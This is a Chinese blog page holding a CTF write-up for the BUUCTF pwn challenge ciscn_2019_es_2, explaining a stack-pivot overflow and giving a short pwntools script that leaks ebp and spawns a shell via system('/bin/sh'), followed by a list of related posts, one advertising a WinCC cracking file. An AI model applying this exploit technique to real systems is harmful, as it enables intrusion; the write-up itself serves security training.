【pwn】ciscn_2019_es_2

[BUUCTF]PWN——ciscn_2019_es_2 ciscn_2019_es_2 附件 步骤: 例行检查,32位程序,开启了nx保护 32位ida载入,shif+f12查看程序里的字符串,这边的“echo flag” 是个迷惑性的字符串,它只是输出了flag这4个字符,但是程序里有system函数,到时候这个函数可以直接拿来使用 system_addr=0x80048400 main函数 程序主体在vul函数里 读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入 阅读详情

例行检查
在这里插入图片描述分析程序,程序存在system函数,但是不能直接得到flag。
在这里插入图片描述
vul函数中存在栈溢出,但只能溢出8个字节,只能盖到ebp和ret。vul函数中有两次read和printf第一次可以用来泄露ebp,得到栈地址,然后进行栈迁移。然后利用main函数返回时将控制流转到system。
根据一下汇编代码布置栈数据。
在这里插入图片描述
在这里插入图片描述

from pwn import *

#io=process('ciscn_2019_es_2')

sys_plt=0x8048400 

pl='a'*0x20+'bbbbbbbb'
io.send(pl)
io.recvuntil('b'*8)
ebp=u32(io.recv(4))
print(hex(ebp))
pl2=('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
io.send(pl2)

io.interactive()
[栈迁移][BUUCTF][PWN] ciscn_2019_es_2 前置知识: 栈迁移概念:当存在栈溢出且可溢出长度不足以容纳 payload 时,可采用栈迁移。一般这种情况下,溢出仅能覆盖 ebp 、 eip 。因为原来的栈空间不足,所以要构建一个新的栈空间放下 payload ,因此称为栈迁移。 栈迁移原理:栈执行命令是从esp指向的位置想ebp指向的位置执行。正常情况退栈的操作是:esp指向ebp指向位置,ebp指向ebp里的内容所指向的位置。当遇见leave|ret命令的时候,相当于执行mov esp ebp; pop ebp; ret;作用就是将ebp指向的位置给 阅读详情

相关推荐

HFSS本征模求解:谐振特性分析与工程实践

本征模求解是电磁仿真中的基础技术,用于分析无源谐振系统的固有特性。其核心原理是通过求解麦克斯韦方程组的特征值问题,获得谐振频率、品质因数(Q值)及电磁场分布等关键参数。在5G滤波器设计、雷达谐振腔优化等高频场景中,精确的本征模分析能有效避免模式干扰,提升器件性能。HFSS作为行业标准工具,提供了完整的本征模求解工作流,涵盖边界条件设置、模式识别、场分布可视化等关键环节。针对多模耦合、模式纯度评估等工程难题,结合参数化扫描和场重叠积分等高级技巧,可显著提升微波器件设计效率。

weixin_27918373的博客 335

ciscn_2019_es_2

小白垃圾做题笔记,不及建议阅读。声明,exp来自网络,调试过程自己调试,对于题目的理解仅供参考。由于本人也是小白,且pwn全靠自己摸索,所以有很多理解不到位的地方。如有错误,欢迎指正。

小白垃圾笔记2 1058

西门子S7-1200的PID应用(恒温热水器)

物料清单:1200PLC一台,模拟量输入模块SM1231(PLC自带的输入通道不支持4-20mA电流输入)一个,PT100一个,温度变送器,热得快,固态继电器。 第一步,硬件接线; 第二步,新建1200工程,添加PLC和模拟量输入模块,修改模块的模拟量输入类型为4-20mA,模拟量模块的IO地址为96-103(8个字); 第三步,新建循环组织块OB30,循环时间选择默认点1...

weixin_30835649的博客 6549

ciscn_2019_es_2【BUUCTF】

与往常溢出不同的是,该溢出仅仅只能溢出8(0x30-0x28)字节的数据,恰好就是覆盖ebp和ret地址数据,并且存在两处溢出漏洞。因此可以用read函数将system(“/bin/sh”)读到当前栈中,并返回让其执行该函数即可。这里有两个问题,1.system(“/bin/sh”)存储地址如何得知 2. 如何返回该system地址执行函数。

qq_41696518的博客 1268

无人机避障——感知篇(采用Mid360复现Fast-lio)

本文介绍了在Ubuntu 18.04和ROS Melodic环境下,使用Xavier-nx电脑和Livox Mid-360激光雷达编译和运行FAST-LIO工程的步骤,包括创建工作空间、编译驱动和FAST-LIO源码,以及运行launch文件进行建图的过程。

weixin_45390670的博客 3546

医疗影像处理实战:如何用Slicer和Mimics将.nii.gz文件转为.ply格式(附避坑指南)

本文详细介绍了利用3D Slicer和Materialise Mimics软件,将医学影像中常见的.nii.gz格式文件转换为通用三维网格.ply格式的完整实战流程。文章重点分享了从数据分割、DICOM序列导出到高质量网格生成的核心步骤与关键参数设置,并提供了针对常见问题的避坑指南,旨在帮助医学影像研究者和工程师高效完成从体数据到三维模型的关键转换。

weixin_28304023的博客 103

【BUUCTFPWN】ciscn_2019_es_2 栈迁移 栈劫持

【BUUCTFPWN】ciscn_2019_es_2题解

m0_55368674的博客 1172

scannet数据集下载文件

scannet数据集下载文件 由于大家会申请scannet数据集,审批比较慢,我将下载的文件里面的内容贴出来,大家可以复制放进py文件中,运行就可以下载 ps:别再私信要数据集了,这个自己下载,如果光三维数据的话,还是很快的,当然如果路由器翻了墙的话,下载会更快。 #!/usr/bin/env python # Downloads ScanNet public data release # Run with ./download-scannet.py (or python download-scannet.

weixin_40766438的博客 9233

[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)

答:先说明一点,我们第二次构造payload时往ebp填入ebp-0x38是为了让它在执行完函数原有的leave,ret之后ebp指向b'a'*4的头地址,但要注意这里不是输入ebp-0x28,因为第一个printf打印出来的是ebp里的内容而不是ebp的地址,通过动态调试可以知道ebp里面的内容是ebp+0x10的地址,我们打印出来的就是ebp+10的地址,这里就要填入ebp-0x38才能使ebp指向b'a'*4的头。答:首先要明白32位是通过栈传参的,这样的形式是32位的调用函数的调用规则。

2301_79326813的博客 2023

DeepSeek-OCR 本地部署使用教程(附完整环境配置与推理示例)

DeepSeek-OCR是由DeepSeek AI推出的开源OCR模型,支持高精度文档识别与结构化输出(如Markdown转换)。本文提供了详细的本地部署指南,包括系统要求(推荐Linux+A100 GPU)、环境配置(Python 3.12.9+PyTorch 2.6.0+CUDA 11.8)、模型下载及两种推理方式:高性能的vLLM(适合批量处理)和灵活的Transformers(适合调试)。支持多种分辨率模式和提示词模板,适用于合同识别、PDF转换等场景。常见问题包括显存优化和性能调优建议。

qq_58607032的博客 6723

Flow Match 原理 及应用

Flow Matching(流匹配)是生成模型的范式革命——用确定性ODE替代随机扩散过程,在自动驾驶轨迹预测中实现10倍采样加速和更高生成质量。更快的采样速度:通常只需 10-50 步就能生成高质量样本更稳定的训练:避免了传统扩散模型中复杂的噪声调度理论基础:基于连续正规化流(Continuous Normalizing Flows)核心思想:Flow Matching 通过学习一个 向量场(vector field) 来直接建模从噪声分布到目标分布的连续变换路径。

@bangbang的博客 99

[PWN] BUUCTF ciscn_2019_es_2

[PWN] BUUCTF ciscn_2019_es_2解题分析漏洞利用payload解析程序执行过程图参考: 解题分析 按照惯例checksec一下,开了NX与RELRO 运行程序,查看逻辑,两次input,并且回显Hello,input 32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造 payload=0x28*‘a’+ebp+backdoo

空城惜梦的博客 1718

瑞数jsvmp算法还原流程讲解

​ 又是很久没写文章了,今天水一篇文章吧,鉴于之前有看到过别人的文章被警告的案例,所以这篇文章就仅写一下还原瑞数vmp的大概流程吧(仅记录下自己还原的思路)

博客 6608

buuctf-pwn ciscn_2019_es_2题解(学习过程持续更新)

本文是一篇关于栈迁移技术的学习笔记,作者通过解决名为pwn_es2的CTF题目记录了自己的解题过程。题目是32位程序,开启了NX保护,存在缓冲区溢出但空间有限(仅能覆盖返回地址)。作者通过构造ROP链和'/bin/sh'字符串,利用栈迁移技术(leave;ret指令)将栈指针切换到缓冲区,成功执行system函数获取shell。文章详细介绍了如何计算偏移地址、获取关键内存地址、构建payload(包括处理pop ebp的细节),最终通过脚本攻击获得flag。

2501_93570847的博客 405

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

[BUUCTF-pwn]——ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解写的详细一点。 栈劫持 or 栈迁移 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够用,没办法有效构造rop链。这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做到栈劫持(栈迁移)。 leave 等价于 mov ebp, esp; pop

Y_peak的博客 2254

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

[PWN] 栈迁移 ciscn_2019_es_2

栈迁移 基础题目 理解 ciscn_2019_es_2

LDX的博客 541

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

BUUCTF Pwn ciscn_2019_es_2 WP

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造。的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38。接下来构造payload2 目的是使得EIP指向system函数。看到EBP距离输入的位置有 0x78-0x50=用IDA32打开 定位main函数。1.下载 checksec。

qq_33348179的博客 644

PWN_04 (栈迁移) ciscn_2019_es_2

IDA查看之后发现有system地址但是栈的空间太小,所以我们利用栈迁移,迁移到第二个read的0x30中,让我们足够存放binsh,构造system。0x30-0x20=0x8 泄露8个字节ebp占四个返回地址占四个,无法泄露太长,所以想到利用栈迁移。ebp(1)存放的内容是上一次ebp(0)压入的,通过第一次read将第一次ebp(0)打印出来。我们知道ebp(1)到buf的距离 不知道ebp(1)到ebp(0)的距离。需要用到 leave ret指令。找到leave_ret的地址。

2402_88025561的博客 289

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。一、代码审计有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。

Mr_Fmnwon的博客 901

PWN技巧栈迁移ciscn_2019_es_2

我什么都不会/(ㄒoㄒ)/~~

m0_74312867的博客 495

BUUCTF-Pwn-ciscn_2019_es_2

题目截图 例行检查

餐桌上的猫 570

[BUUCTF]PWN——ciscn_2019_es_2(栈劫持)

32位程序,开启了nx保护 有个后门函数,但是需要把 system里面的 “echo flag” 修改为 bin/sh 才可以利用 这里可以得到 system 的地址; vul函数中存在栈溢出,但只能溢出8个字节,只能盖到ebp和ret。vul函数中有两次read和printf第一次可以用来泄露ebp,得到栈地址,然后进行栈迁移。然后利用main函数返回时将控制流转到system。 思路 通过第一次输入输出来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入

半岛铁盒的博客 1011

BUU刷题-Pwn-ciscn_2019_es_2

分析发现栈溢出的只有8个字节,所以无法构造ROP链。所以必须向栈内写入ROP链,在利用栈迁移执行栈中的构造的ROP链,从而获取权限。buf_addr->0000(leave在执行后,会将esp与ebp互换,且将esp指向下一个位置)所以第一步利用printf机制(遇见‘\0’才会停止输出字符)泄露出ebp的地址。在泄露时如果发送sendline,会破坏ebp!必须使用send发送。[[sendline函数发送问题]]

一个啥也不会的小菜鸡! 177

BUUCTF--pwn--ciscn_2019_es_2【栈劫持】

BUUCTF--pwn--ciscn_2019_es_2【栈劫持】

qq_73149934的博客 349

PWN——栈迁移

简单一句话就是控制esp指针的指向。实现指令:eave;ret 指令Leave等价于:其实就是在做栈恢复上一次栈空间的操作。但这过程中能恢复到上次的栈的关键数据为当前ebp指向地址上值(oldebp),当我们通过溢出覆盖原本的oldebp值时,然后将leave;ret 程序段地址放在返回地址上,那么就可以实现将esp迁移至我们想要的地方(取决于oldebp上的覆盖的地址,注意这里会抬高4字节,64位抬8字节)。第一次leave第一次ret:因为esp还是指向leave;.........

L2329794714的博客 1901

【BUUCTF】ciscn_2019_es_2

【BUUCTF】ciscn_2019_es_2 看下程序 有两处read可以溢出,但只能溢出刚好盖到ebp和ret 由于memset只清了0x20,所以可以泄露出ebp 有system函数,但参数不对 思路:运用栈迁移,迁移到我们写入的前面的部分,写rop链,就可以开shell了 由于需要跳转到我们写入的前面的部分需要知道它的地址,地址=ebp地址-偏移。 用gdb-peda调试,断点设在vul函数,一步步跟进,可以输入aaaa 然后searchmem aaaa stack 来查看栈状态 (这图可能

m0_51251108的博客 422
上一篇: 【pwn】roarctf_2019_easy_pwn
下一篇: 【Re】36C3CTF xmas_future
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值